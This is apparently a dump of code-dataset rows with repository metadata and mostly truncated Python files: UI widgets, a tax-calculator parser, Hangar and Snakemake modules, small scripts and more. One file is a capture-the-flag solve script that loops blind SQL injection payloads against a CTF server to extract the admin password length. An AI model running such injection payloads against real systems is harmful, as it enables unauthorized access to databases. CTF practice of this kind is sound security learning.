hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
c4ad9991f367ca79cfc5f643798ad08df02746df
905
py
Python
pylbm_ui/widgets/message.py
pylbm/pylbm_ui
0a7202ee6ee5424486ce6ade1d3b18d8139d4ffb
[ "BSD-3-Clause" ]
3
2021-05-17T20:38:32.000Z
2021-11-16T17:54:26.000Z
pylbm_ui/widgets/message.py
pylbm/pylbm_ui
0a7202ee6ee5424486ce6ade1d3b18d8139d4ffb
[ "BSD-3-Clause" ]
32
2021-04-29T13:27:13.000Z
2021-07-01T07:22:58.000Z
pylbm_ui/widgets/message.py
pylbm/pylbm_ui
0a7202ee6ee5424486ce6ade1d3b18d8139d4ffb
[ "BSD-3-Clause" ]
1
2021-04-30T06:40:21.000Z
2021-04-30T06:40:21.000Z
import ipyvuetify as v class Message(v.Container): def __init__(self, message): self.message = v.Alert( children=[f'{message}...'], class_='primary--text' ) super().__init__( children=[ v.Row( children=[ ...
26.617647
53
0.340331
880
0.972376
0
0
0
0
0
0
74
0.081768
c4adaa3c0b3bb1d07161a72f61bcbc0a5a83b810
1,946
py
Python
args_parser.py
vmartinv/capital_gains_calculator
bb322ca4bc3ab1ab7db702848d3cb5d0b5677fff
[ "MIT" ]
null
null
null
args_parser.py
vmartinv/capital_gains_calculator
bb322ca4bc3ab1ab7db702848d3cb5d0b5677fff
[ "MIT" ]
23
2022-02-07T05:29:52.000Z
2022-03-30T05:29:29.000Z
args_parser.py
vmartinv/capital_gains_calculator
bb322ca4bc3ab1ab7db702848d3cb5d0b5677fff
[ "MIT" ]
null
null
null
import argparse import datetime def get_last_elapsed_tax_year() -> int: now = datetime.datetime.now() if now.date() >= datetime.date(now.year, 4, 6): return now.year - 1 else: return now.year - 2 def create_parser() -> argparse.ArgumentParser: # Schwab transactions # Montly GBP/U...
29.044776
90
0.631552
0
0
0
0
0
0
0
0
700
0.359712
c4ae3cca9fef2f5e1a6a2cb205c909acf0583766
286
py
Python
src/pydts/examples_utils/datasets.py
tomer1812/pydts
7891a0b4b66dc7b986ebb7344c2c8f8d54e56ccc
[ "MIT" ]
null
null
null
src/pydts/examples_utils/datasets.py
tomer1812/pydts
7891a0b4b66dc7b986ebb7344c2c8f8d54e56ccc
[ "MIT" ]
null
null
null
src/pydts/examples_utils/datasets.py
tomer1812/pydts
7891a0b4b66dc7b986ebb7344c2c8f8d54e56ccc
[ "MIT" ]
null
null
null
import pandas as pd from pydts.config import * DATASETS_DIR = os.path.join(os.path.dirname((os.path.dirname(__file__))), 'datasets') def load_LOS_simulated_data(): os.path.join(os.path.dirname(__file__)) return pd.read_csv(os.path.join(DATASETS_DIR, 'LOS_simulated_data.csv'))
35.75
85
0.758741
0
0
0
0
0
0
0
0
34
0.118881
c4aef0df820c8e4498c5c1703e7a91b20097e686
621
py
Python
busker/migrations/0013_auto_20200906_1933.py
tinpan-io/django-busker
52df06b82e15572d0cd9c9d13ba2d5136585bc2d
[ "MIT" ]
2
2020-09-01T12:06:07.000Z
2021-09-24T09:54:57.000Z
busker/migrations/0013_auto_20200906_1933.py
tinpan-io/django-busker
52df06b82e15572d0cd9c9d13ba2d5136585bc2d
[ "MIT" ]
null
null
null
busker/migrations/0013_auto_20200906_1933.py
tinpan-io/django-busker
52df06b82e15572d0cd9c9d13ba2d5136585bc2d
[ "MIT" ]
null
null
null
# Generated by Django 3.1.1 on 2020-09-06 19:33 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('busker', '0012_auto_20200905_2042'), ] operations = [ migrations.AlterModelOptions( name='downl...
25.875
133
0.615137
495
0.797101
0
0
0
0
0
0
152
0.244767
c4aef217e9c718184f0d3ad8cf65a1b19d71e9bd
12,799
py
Python
livy/cli/submit.py
tzing/python-livy
0f2b0bf7832ae8fc65399506da294f4e8e019626
[ "MIT" ]
1
2022-01-27T03:04:29.000Z
2022-01-27T03:04:29.000Z
livy/cli/submit.py
tzing/python-livy
0f2b0bf7832ae8fc65399506da294f4e8e019626
[ "MIT" ]
null
null
null
livy/cli/submit.py
tzing/python-livy
0f2b0bf7832ae8fc65399506da294f4e8e019626
[ "MIT" ]
null
null
null
"""Submit a batch task to livy server.""" import argparse import datetime import importlib import json import logging import re import typing import livy import livy.cli.config import livy.cli.logging logger = logging.getLogger(__name__) class PreSubmitArguments(argparse.Namespace): """Typed :py:class:`~argpars...
27.823913
88
0.612313
1,174
0.091726
0
0
0
0
0
0
3,872
0.302524
c4affc4f83188559537e4d8ac9659aa6dc764f0f
1,283
py
Python
setup.py
nickyfoto/premoji
c8da5f713fe90175923e47212905b7dd39825f92
[ "MIT" ]
null
null
null
setup.py
nickyfoto/premoji
c8da5f713fe90175923e47212905b7dd39825f92
[ "MIT" ]
null
null
null
setup.py
nickyfoto/premoji
c8da5f713fe90175923e47212905b7dd39825f92
[ "MIT" ]
null
null
null
"""Minimal setup file for learn project.""" import pathlib from setuptools import setup, find_packages # The directory containing this file HERE = pathlib.Path(__file__).parent # The text of the README file README = (HERE / "README.md").read_text() setup( name = 'premoji', version = '0.1.4', descriptio...
32.897436
150
0.639127
0
0
0
0
0
0
0
0
696
0.542479
c4b0600fb893dd2bf03b8ad35d0df6623f45ef39
272
py
Python
02-current-time.py
KeithWilliamsGMIT/Emerging-Technologies-Python-Fundamentals
5eae96818baa3bf10e091bfe39498efe237c9e7f
[ "MIT" ]
null
null
null
02-current-time.py
KeithWilliamsGMIT/Emerging-Technologies-Python-Fundamentals
5eae96818baa3bf10e091bfe39498efe237c9e7f
[ "MIT" ]
null
null
null
02-current-time.py
KeithWilliamsGMIT/Emerging-Technologies-Python-Fundamentals
5eae96818baa3bf10e091bfe39498efe237c9e7f
[ "MIT" ]
null
null
null
# Author: Keith Williams # Date: 21/09/2017 from time import strftime # This line prints the current date and time to the console in the format 01-10-2017 13:15:30. # strftime must be imported from the time package before being used. print(strftime("%d-%m-%Y %H:%M:%S"))
34
94
0.731618
0
0
0
0
0
0
0
0
223
0.819853
c4b06868e47596162a61d75f212de04777f1a9b9
160
py
Python
git_management/clone.py
afsantaliestra/scripts
06f9a1c269749570061a42c5c5b586944e8c9a45
[ "MIT" ]
null
null
null
git_management/clone.py
afsantaliestra/scripts
06f9a1c269749570061a42c5c5b586944e8c9a45
[ "MIT" ]
null
null
null
git_management/clone.py
afsantaliestra/scripts
06f9a1c269749570061a42c5c5b586944e8c9a45
[ "MIT" ]
null
null
null
import os filepath = 'list.txt' with open(filepath) as fp: while line := fp.readline(): line = line.strip() os.system(f'git clone {line}')
20
38
0.6
0
0
0
0
0
0
0
0
29
0.18125
c4b069d181b9ce2a2a43be231c32efdbc6f68ff6
2,453
py
Python
train.py
amansoni/sequential-decision-problem-algorithms
73276dc954a8507f67f84d260b2923703b8add10
[ "MIT" ]
null
null
null
train.py
amansoni/sequential-decision-problem-algorithms
73276dc954a8507f67f84d260b2923703b8add10
[ "MIT" ]
null
null
null
train.py
amansoni/sequential-decision-problem-algorithms
73276dc954a8507f67f84d260b2923703b8add10
[ "MIT" ]
null
null
null
import argparse import os import sys parser = argparse.ArgumentParser(description="Run commands") parser.add_argument('-w', '--num-workers', default=1, type=int, help="Number of workers") parser.add_argument('-r', '--remotes', default=None, help='The address of pre-existing VNC ...
35.550725
109
0.591928
0
0
0
0
0
0
0
0
730
0.297595
c4b0a273d439a49bd4401c9381668556a506e643
8,116
py
Python
MoleculeACE/benchmark/evaluation/results.py
molML/MoleculeACE
e831d2371a9b89f4853a03d5c04cc4bf59f64ee0
[ "MIT" ]
9
2022-03-26T17:36:03.000Z
2022-03-29T19:50:26.000Z
MoleculeACE/benchmark/evaluation/results.py
molML/MoleculeACE
e831d2371a9b89f4853a03d5c04cc4bf59f64ee0
[ "MIT" ]
null
null
null
MoleculeACE/benchmark/evaluation/results.py
molML/MoleculeACE
e831d2371a9b89f4853a03d5c04cc4bf59f64ee0
[ "MIT" ]
null
null
null
""" Class that holds the results: used for evaluating model performance on activity cliff compounds Derek van Tilborg, Eindhoven University of Technology, March 2022 """ import os import numpy as np from MoleculeACE.benchmark.utils.const import Algorithms from .metrics import calc_rmse, calc_q2f3 class Results: ...
48.891566
120
0.638369
7,813
0.962666
0
0
0
0
0
0
2,814
0.346723
c4b0cff3a089b5a105c23dc4c0935c7ecd2fb0ae
70
py
Python
checkout/orders/__init__.py
accelero-cloud/tutorials
9a9580e60bc216bf45ec0011f6d9b6b14d5a8d03
[ "Apache-2.0" ]
2
2019-08-09T16:15:40.000Z
2020-01-12T09:46:28.000Z
checkout/orders/__init__.py
accelero-cloud/tutorials
9a9580e60bc216bf45ec0011f6d9b6b14d5a8d03
[ "Apache-2.0" ]
2
2021-03-31T18:48:41.000Z
2021-12-13T19:49:46.000Z
checkout/orders/__init__.py
accelero-cloud/tutorials
9a9580e60bc216bf45ec0011f6d9b6b14d5a8d03
[ "Apache-2.0" ]
null
null
null
from checkout.orders.order_service import Order, AuthorisationRequest
35
69
0.885714
0
0
0
0
0
0
0
0
0
0
c4b0d7f117651d7395b65de65e764c7fea1c1e3d
87
py
Python
hiisi/__init__.py
ritvje/hiisi
56f8abb3013296172c8c2919a33519856a903a81
[ "MIT" ]
null
null
null
hiisi/__init__.py
ritvje/hiisi
56f8abb3013296172c8c2919a33519856a903a81
[ "MIT" ]
null
null
null
hiisi/__init__.py
ritvje/hiisi
56f8abb3013296172c8c2919a33519856a903a81
[ "MIT" ]
null
null
null
from .hiisi import HiisiHDF from .odim import OdimPVOL, OdimCOMP __version__ = "0.0.6"
21.75
36
0.770115
0
0
0
0
0
0
0
0
7
0.08046
c4b163c2e1d8ffe2281a2938faf90b326b80b931
34,527
py
Python
src/hangar/repository.py
jjmachan/hangar-py
c1cfa2f8f997d7d0f114e015aea333829e029451
[ "Apache-2.0" ]
null
null
null
src/hangar/repository.py
jjmachan/hangar-py
c1cfa2f8f997d7d0f114e015aea333829e029451
[ "Apache-2.0" ]
null
null
null
src/hangar/repository.py
jjmachan/hangar-py
c1cfa2f8f997d7d0f114e015aea333829e029451
[ "Apache-2.0" ]
null
null
null
from pathlib import Path import weakref import warnings from typing import Union, Optional, List from .merger import select_merge_algorithm from .constants import DIR_HANGAR from .remotes import Remotes from .context import Environments from .diagnostics import ecosystem, integrity from .records import heads, parsing,...
41.300239
95
0.610363
33,943
0.983086
0
0
2,758
0.07988
0
0
23,702
0.686477
c4b186ebba7523cfef5343184718edecec88a7e6
10,731
py
Python
kronos/utils.py
jtaghiyar/kronos
6cc3665f43b5868ad98def762c533eb74dd501e1
[ "MIT" ]
17
2016-01-10T23:54:06.000Z
2021-01-30T09:36:19.000Z
kronos/utils.py
jtaghiyar/kronos
6cc3665f43b5868ad98def762c533eb74dd501e1
[ "MIT" ]
3
2016-10-11T02:38:01.000Z
2017-03-14T03:27:34.000Z
kronos/utils.py
jtaghiyar/kronos
6cc3665f43b5868ad98def762c533eb74dd501e1
[ "MIT" ]
6
2015-12-10T21:52:31.000Z
2019-10-07T18:57:57.000Z
''' Created on Apr 16, 2014 @author: jtaghiyar ''' import os import subprocess as sub from plumber import Plumber from job_manager import LocalJobManager from workflow_manager import WorkFlow from helpers import trim, make_dir, export_to_environ class ComponentAbstract(object): """ component template....
36.131313
96
0.620911
10,463
0.975026
0
0
0
0
0
0
4,157
0.387382
c4b26e3d04e87e26583a1a633be309fd89f11d9a
3,047
py
Python
tests/base.py
the-dotify-project/dotify
f4bbed4f847cdfd073886c384a2d881456a1f7d9
[ "MIT" ]
3
2021-05-18T12:04:46.000Z
2021-12-16T14:35:15.000Z
tests/base.py
the-dotify-project/dotify
f4bbed4f847cdfd073886c384a2d881456a1f7d9
[ "MIT" ]
38
2021-05-13T21:24:20.000Z
2022-03-14T19:22:27.000Z
tests/base.py
the-dotify-project/dotify
f4bbed4f847cdfd073886c384a2d881456a1f7d9
[ "MIT" ]
null
null
null
from pathlib import Path from re import sub from shutil import rmtree from unittest import TestCase from dotify import Dotify, models class BaseNameResolverMixin(object): @classmethod def get_download_basename(cls, obj): if isinstance(obj, models.Track): return cls.get_download_basename_t...
33.119565
83
0.643912
2,906
0.953725
0
0
1,499
0.491959
0
0
137
0.044962
c4b380ac5b2bec0b07861a3d99e7430566f32546
2,724
py
Python
odoo-13.0/venv/lib/python3.8/site-packages/stdnum/imo.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
odoo-13.0/venv/lib/python3.8/site-packages/stdnum/imo.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
2
2021-06-22T01:34:18.000Z
2021-06-22T01:40:28.000Z
odoo-13.0/venv/lib/python3.8/site-packages/stdnum/imo.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
# imo.py - functions for handling IMO numbers # coding: utf-8 # # Copyright (C) 2015 Arthur de Jong # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, ...
31.674419
76
0.714391
0
0
0
0
0
0
0
0
1,913
0.702276
c4b3b6d76efc3c8c72713052f1e8b243b1695f31
265
py
Python
yodl/__init__.py
brunolange/yodl
d9e957cacf1391fce3dfe9ac24e4fb434d14d8b0
[ "MIT" ]
null
null
null
yodl/__init__.py
brunolange/yodl
d9e957cacf1391fce3dfe9ac24e4fb434d14d8b0
[ "MIT" ]
null
null
null
yodl/__init__.py
brunolange/yodl
d9e957cacf1391fce3dfe9ac24e4fb434d14d8b0
[ "MIT" ]
null
null
null
"""yodl! yodl provides a class decorator to build django models from YAML configuration files """ from .decorators import yodl from .io import yodlify __author__ = "Bruno Lange" __email__ = "[email protected]" __license__ = "MIT" __all__ = ["yodl", "yodlify"]
18.928571
54
0.743396
0
0
0
0
0
0
0
0
151
0.569811
c4b45d589da887df80357b5a791263b44c35a390
6,010
py
Python
main.py
g-w1/hermes
4c7388c0d75187b79c0c27e4322aa9e79a44666c
[ "MIT" ]
null
null
null
main.py
g-w1/hermes
4c7388c0d75187b79c0c27e4322aa9e79a44666c
[ "MIT" ]
null
null
null
main.py
g-w1/hermes
4c7388c0d75187b79c0c27e4322aa9e79a44666c
[ "MIT" ]
null
null
null
""" Usage: hermes install [-dsvV] <pkg>... hermes -h | --help hermes --version Options: -d, --depends Require dependency installation -h, --help Display usage and options -s, --check-sigs Verify package GPG signatures -v, --verify Verify package...
30.820513
79
0.632612
0
0
0
0
0
0
0
0
2,039
0.339268
c4b535911ba95193b86d162ae29dd779c08ef75c
26,047
py
Python
userbot/plugins/quotes.py
aksr-aashish/FIREXUSERBOT
dff0b7bf028cb27779626ce523402346cc990402
[ "MIT" ]
null
null
null
userbot/plugins/quotes.py
aksr-aashish/FIREXUSERBOT
dff0b7bf028cb27779626ce523402346cc990402
[ "MIT" ]
1
2022-01-09T11:35:06.000Z
2022-01-09T11:35:06.000Z
userbot/plugins/quotes.py
aksr-aashish/FIREXUSERBOT
dff0b7bf028cb27779626ce523402346cc990402
[ "MIT" ]
null
null
null
import random import requests from FIREX.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp LOVESTR = [ "The best and most beautiful things in this world cannot be seen or even heard, but must be felt with the heart.", "You know you're in love when you can't fall asleep becau...
65.609572
214
0.702231
0
0
0
0
2,759
0.105628
1,588
0.060796
21,641
0.828522
c4b5547f1e3ecbc952e52b926351b009c451edf6
22
py
Python
celestial/client/system/__init__.py
ams-tech/celestial
0c4c264563fe79d6838a1c40a1d114c1d6fcf23f
[ "MIT" ]
null
null
null
celestial/client/system/__init__.py
ams-tech/celestial
0c4c264563fe79d6838a1c40a1d114c1d6fcf23f
[ "MIT" ]
null
null
null
celestial/client/system/__init__.py
ams-tech/celestial
0c4c264563fe79d6838a1c40a1d114c1d6fcf23f
[ "MIT" ]
null
null
null
from . import cmdline
11
21
0.772727
0
0
0
0
0
0
0
0
0
0
c4b59ea674aa8a31f87633b437e5863be80f3ef3
4,089
py
Python
tests/test_joints.py
slaclab/pystand
c0037d4af52cff98c7e758a7a0ff08156ade4646
[ "BSD-3-Clause-LBNL" ]
null
null
null
tests/test_joints.py
slaclab/pystand
c0037d4af52cff98c7e758a7a0ff08156ade4646
[ "BSD-3-Clause-LBNL" ]
null
null
null
tests/test_joints.py
slaclab/pystand
c0037d4af52cff98c7e758a7a0ff08156ade4646
[ "BSD-3-Clause-LBNL" ]
2
2018-05-30T19:02:58.000Z
2020-12-13T00:35:01.000Z
############ # Standard # ############ import math ############### # Third Party # ############### import ophyd import pytest ########## # Module # ########## from detrot import ConeJoint, AngledJoint, StandPoint, Point from conftest import PseudoMotor @pytest.fixture(scope='function') def pseudo_cone(): angled...
30.288889
71
0.682563
0
0
0
0
433
0.105894
0
0
289
0.070677
c4b707a809f0ff9f343cd22eb8b5bddf218a75e6
656
py
Python
tests/test_utils.py
munirjojoverge/rl_AD_urban_baselines
c17cb97fb6a1edd3134b340194e82f4c3ca4f065
[ "MIT" ]
6
2019-02-05T08:17:29.000Z
2022-03-22T12:47:53.000Z
tests/test_utils.py
munirjojoverge/rl_AD_urban_baselines
c17cb97fb6a1edd3134b340194e82f4c3ca4f065
[ "MIT" ]
null
null
null
tests/test_utils.py
munirjojoverge/rl_AD_urban_baselines
c17cb97fb6a1edd3134b340194e82f4c3ca4f065
[ "MIT" ]
1
2019-09-08T14:15:56.000Z
2019-09-08T14:15:56.000Z
import numpy as np from urban_AD_env.utils import rotated_rectangles_intersect def test_rotated_rectangles_intersect(): assert rotated_rectangles_intersect(([12.86076812, 28.60182391], 5.0, 2.0, -0.4675779906495494), ([9.67753944, 28.90585412], 5.0, 2.0, -0.341701936447320...
50.461538
100
0.625
0
0
0
0
0
0
0
0
0
0
c4b756acdec987e0a8f79a384a24813dcb1b56b5
3,758
py
Python
learning_journal/tests.py
hcodydibble/pyramid-learning-journal
eb7a59526885a420b6818fcb888497c21674cf76
[ "MIT" ]
null
null
null
learning_journal/tests.py
hcodydibble/pyramid-learning-journal
eb7a59526885a420b6818fcb888497c21674cf76
[ "MIT" ]
3
2019-12-26T16:39:40.000Z
2021-06-01T21:57:09.000Z
learning_journal/tests.py
hcodydibble/pyramid-learning-journal
eb7a59526885a420b6818fcb888497c21674cf76
[ "MIT" ]
null
null
null
"""Functions that test server functions.""" import pytest from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound from datetime import datetime from learning_journal.models import Entry def test_list_view_returns_list_of_entries_in_dict(dummy_request): """Test for the list_view function.""" from learn...
35.121495
77
0.735498
0
0
0
0
0
0
0
0
840
0.223523
c4b79caceb9a36abb81dbce0bc005d6ef54fc982
977
py
Python
hvad/exceptions.py
Kunpors/dr.pors-
e1b9727c96add31af9c2a1a4b27a058b506748a6
[ "BSD-3-Clause" ]
1
2020-05-24T16:10:16.000Z
2020-05-24T16:10:16.000Z
hvad/exceptions.py
Kunpors/dr.pors-
e1b9727c96add31af9c2a1a4b27a058b506748a6
[ "BSD-3-Clause" ]
null
null
null
hvad/exceptions.py
Kunpors/dr.pors-
e1b9727c96add31af9c2a1a4b27a058b506748a6
[ "BSD-3-Clause" ]
3
2019-10-12T15:14:31.000Z
2021-12-13T13:25:12.000Z
""" Hvad-specific exceptions Part of hvad public API. """ __all__ = ('WrongManager', ) class WrongManager(Exception): """ Raised when attempting to introspect translated fields from shared models without going through hvad. The most likely cause for this being accessing translated fields from ...
33.689655
78
0.633572
883
0.903787
0
0
0
0
0
0
581
0.594678
c4b8e8abe6cf564f4eafc19481868c1a741b23e4
4,858
py
Python
examples/ERP/classify_P300_bi.py
gcattan/pyRiemann-qiskit
a53f2f891f4d8726b97ed8f0baaf89f86b5ea731
[ "BSD-3-Clause" ]
7
2022-01-10T19:19:59.000Z
2022-02-21T20:13:24.000Z
examples/ERP/classify_P300_bi.py
gcattan/pyRiemann-qiskit
a53f2f891f4d8726b97ed8f0baaf89f86b5ea731
[ "BSD-3-Clause" ]
28
2021-09-27T11:53:29.000Z
2022-03-29T08:39:55.000Z
examples/ERP/classify_P300_bi.py
gcattan/pyRiemann-qiskit
a53f2f891f4d8726b97ed8f0baaf89f86b5ea731
[ "BSD-3-Clause" ]
2
2021-09-25T17:04:23.000Z
2022-02-07T16:34:20.000Z
""" ==================================================================== Classification of P300 datasets from MOABB ==================================================================== It demonstrates the QuantumClassifierWithDefaultRiemannianPipeline(). This pipeline uses Riemannian Geometry, Tangent Space and a quan...
32.604027
79
0.675793
0
0
0
0
0
0
0
0
2,875
0.591807
c4bbfc60d6e8dc47bfaa0bd4199a1ffa222feb43
281
py
Python
copy-the-content-of-one-array-into-another-in-the-reverse-order.py
kRituraj/python-programming
8671e976ac31f4dfa81960c5f601187ef60e23f5
[ "MIT" ]
null
null
null
copy-the-content-of-one-array-into-another-in-the-reverse-order.py
kRituraj/python-programming
8671e976ac31f4dfa81960c5f601187ef60e23f5
[ "MIT" ]
null
null
null
copy-the-content-of-one-array-into-another-in-the-reverse-order.py
kRituraj/python-programming
8671e976ac31f4dfa81960c5f601187ef60e23f5
[ "MIT" ]
1
2021-05-16T14:38:47.000Z
2021-05-16T14:38:47.000Z
from array import * MyArray = [None] * 20 MyArray1 = [None] * 20 i = 0 while(i < 20): MyArray[i] = i + 1 i = i + 1 j = 0 i = 19 while(j < 20): MyArray1[j] = MyArray[i] j = j + 1 i = i - 1 i = 0 while(i < 20): print(MyArray1[i],end = " ") i = i + 1
12.217391
32
0.466192
0
0
0
0
0
0
0
0
3
0.010676
c4bc61d832484a34ae928af094d25db9bd925929
6,262
py
Python
Findclone/aiofindclone.py
vypivshiy/Findclone_api
97ec5f33929b5cd3bdf670d829596749c3797dbc
[ "MIT" ]
5
2020-11-16T11:41:05.000Z
2021-09-09T22:54:37.000Z
Findclone/aiofindclone.py
vypivshiy/Findclone_api
97ec5f33929b5cd3bdf670d829596749c3797dbc
[ "MIT" ]
2
2021-05-02T21:34:47.000Z
2021-08-21T23:30:44.000Z
Findclone/aiofindclone.py
vypivshiy/Findclone_api
97ec5f33929b5cd3bdf670d829596749c3797dbc
[ "MIT" ]
2
2021-04-27T01:14:15.000Z
2021-09-30T06:44:40.000Z
from aiohttp import ClientSession, FormData from Findclone import __version__ from .models import Account, Profiles, Histories, get_builder from .utils import random_string, paint_boxes from .exceptions import a_error_handler, FindcloneError from io import BufferedReader, BytesIO class FindcloneAsync: """async f...
40.928105
115
0.569946
5,977
0.954487
0
0
661
0.105557
5,138
0.820505
1,922
0.306931
c4bdeaaafb20d5a42c4e3425ac5c7f0f3346483c
3,764
py
Python
src/program/consumers.py
pwelzel/bornhack-website
af794e6a2fba06e09626259c7768feb30ff394be
[ "BSD-3-Clause" ]
null
null
null
src/program/consumers.py
pwelzel/bornhack-website
af794e6a2fba06e09626259c7768feb30ff394be
[ "BSD-3-Clause" ]
null
null
null
src/program/consumers.py
pwelzel/bornhack-website
af794e6a2fba06e09626259c7768feb30ff394be
[ "BSD-3-Clause" ]
null
null
null
from channels.generic.websocket import JsonWebsocketConsumer from camps.models import Camp from .models import ( Event, EventInstance, Favorite, EventLocation, EventType, EventTrack, Speaker ) class ScheduleConsumer(JsonWebsocketConsumer): groups = ['schedule_users'] def receive(...
32.730435
76
0.4822
3,539
0.940223
0
0
0
0
0
0
291
0.077311
c4beaf1419ac6190fbeaa0573def91c010634c7c
9,985
py
Python
rrs/tools/rrs_maintainer_history.py
WindRiver-OpenSourceLabs/layerindex-web
a7820077b0a2c7ad36c934e7c1e11f19fb336081
[ "MIT" ]
null
null
null
rrs/tools/rrs_maintainer_history.py
WindRiver-OpenSourceLabs/layerindex-web
a7820077b0a2c7ad36c934e7c1e11f19fb336081
[ "MIT" ]
null
null
null
rrs/tools/rrs_maintainer_history.py
WindRiver-OpenSourceLabs/layerindex-web
a7820077b0a2c7ad36c934e7c1e11f19fb336081
[ "MIT" ]
1
2017-09-27T17:09:29.000Z
2017-09-27T17:09:29.000Z
#!/usr/bin/env python3 # Standalone script which rebuilds the history of maintainership # # Copyright (C) 2015 Intel Corporation # Author: Anibal Limon <[email protected]> # # Licensed under the MIT license, see COPYING.MIT for details import sys import os.path import optparse import logging sys.path.inse...
42.489362
141
0.591688
0
0
0
0
0
0
0
0
2,175
0.217827
c4bf8ee657abc953898db54f30fd5e418bfece30
16,297
py
Python
snakemake/persistence.py
scholer/snakemake
99de496322f4813fea590ee50607be8042f176d5
[ "MIT" ]
null
null
null
snakemake/persistence.py
scholer/snakemake
99de496322f4813fea590ee50607be8042f176d5
[ "MIT" ]
null
null
null
snakemake/persistence.py
scholer/snakemake
99de496322f4813fea590ee50607be8042f176d5
[ "MIT" ]
null
null
null
__author__ = "Johannes Köster" __copyright__ = "Copyright 2015-2019, Johannes Köster" __email__ = "[email protected]" __license__ = "MIT" import os import shutil import signal import marshal import pickle import json import time from base64 import urlsafe_b64encode, b64encode from functools import lru_cache, p...
34.165618
108
0.57753
15,379
0.943555
0
0
1,534
0.094116
0
0
1,861
0.114179
c4bfcafbe1935fac111f0c9a05300ded2101080b
1,418
py
Python
Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py
Komanawa-Solutions-Ltd/SLMACC-2020-CSRA
914b6912c5f5b522107aa9406fb3d823e61c2ebe
[ "Apache-2.0" ]
null
null
null
Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py
Komanawa-Solutions-Ltd/SLMACC-2020-CSRA
914b6912c5f5b522107aa9406fb3d823e61c2ebe
[ "Apache-2.0" ]
null
null
null
Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py
Komanawa-Solutions-Ltd/SLMACC-2020-CSRA
914b6912c5f5b522107aa9406fb3d823e61c2ebe
[ "Apache-2.0" ]
null
null
null
""" Author: Matt Hanson Created: 23/11/2020 11:06 AM """ import ksl_env # add basgra nz functions ksl_env.add_basgra_nz_path() from supporting_functions.plotting import plot_multiple_results from check_basgra_python.support_for_tests import establish_org_input, get_lincoln_broadfield, get_woodward_weather, _clean_h...
33.761905
131
0.722849
0
0
0
0
0
0
0
0
261
0.184062
c4c0c23efe0af691e686cdc320886e050cb8e361
636
py
Python
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
import urllib import urllib2 url = "http://ctfq.sweetduet.info:10080/~q6/" def main(): for i in range(1, 100): data = { "id": "admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {counter} --".format(counter=i), "pass": "", } print (data) data1 =...
30.285714
115
0.550314
0
0
0
0
0
0
0
0
194
0.305031
c4c2b89beca88decbb59d2f0d2ce782d1dc5da96
2,100
py
Python
gen_methods.py
mweeden2/desert_game
aaf561d11687455a23982771315b15a9bf5b1a86
[ "MIT" ]
null
null
null
gen_methods.py
mweeden2/desert_game
aaf561d11687455a23982771315b15a9bf5b1a86
[ "MIT" ]
null
null
null
gen_methods.py
mweeden2/desert_game
aaf561d11687455a23982771315b15a9bf5b1a86
[ "MIT" ]
null
null
null
# created by Matt Weeden # 7/8/16 import classes as c def printIntro(): print 'Welcome to the\n' print '''__/\\\\\\\\\\\\\\\\\\\\\\\\_________________________________________________\ __________________________\n _\\/\\\\\\////////\\\\\\___________________________________\ __________________________________...
38.181818
90
0.438571
0
0
0
0
0
0
0
0
1,596
0.76
c4c33c445b5f51d288c06db4115d54abafa3991d
352
py
Python
entity_resolution/interfaces/IRecord.py
GeoJamesJones/ArcGIS-Senzing-Prototype
ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b
[ "MIT" ]
null
null
null
entity_resolution/interfaces/IRecord.py
GeoJamesJones/ArcGIS-Senzing-Prototype
ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b
[ "MIT" ]
null
null
null
entity_resolution/interfaces/IRecord.py
GeoJamesJones/ArcGIS-Senzing-Prototype
ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b
[ "MIT" ]
null
null
null
